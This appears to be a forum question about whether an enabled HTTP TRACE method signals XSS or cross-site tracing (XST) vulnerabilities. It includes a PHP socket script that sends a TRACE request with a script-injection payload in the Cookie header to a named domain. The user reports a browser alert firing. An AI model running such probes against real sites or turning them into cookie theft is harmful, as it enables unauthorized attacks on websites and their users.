First, why is HTTP TRACE method allowed on a website Isn't it a bad thing for web server or its users' security?
Second, when I run the following PHP script via my browser...
<?php
$service_port = getservbyname('www', 'tcp');
$host='vulnerabledomain.org';
$address = gethostbyname($host);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n";
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n";
$in = "TRACE /t.php HTTP/1.1\r\n";
$in .= "Cookie: x=str<script>alert(\"XSS\");</script>str\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';
socket_write($socket, $in, strlen($in));
while ($out = socket_read($socket, 2048)) {
echo $out;
}
socket_close($socket);
?>
...I get a javascript alert window with my message (XSS) that is in the request cookie header, and some other headers/info are displayed within the browser window. Isn't this the sign of a particular vulnerability with this website? I mean things such as XSS, XST, etc. vulnerabilities.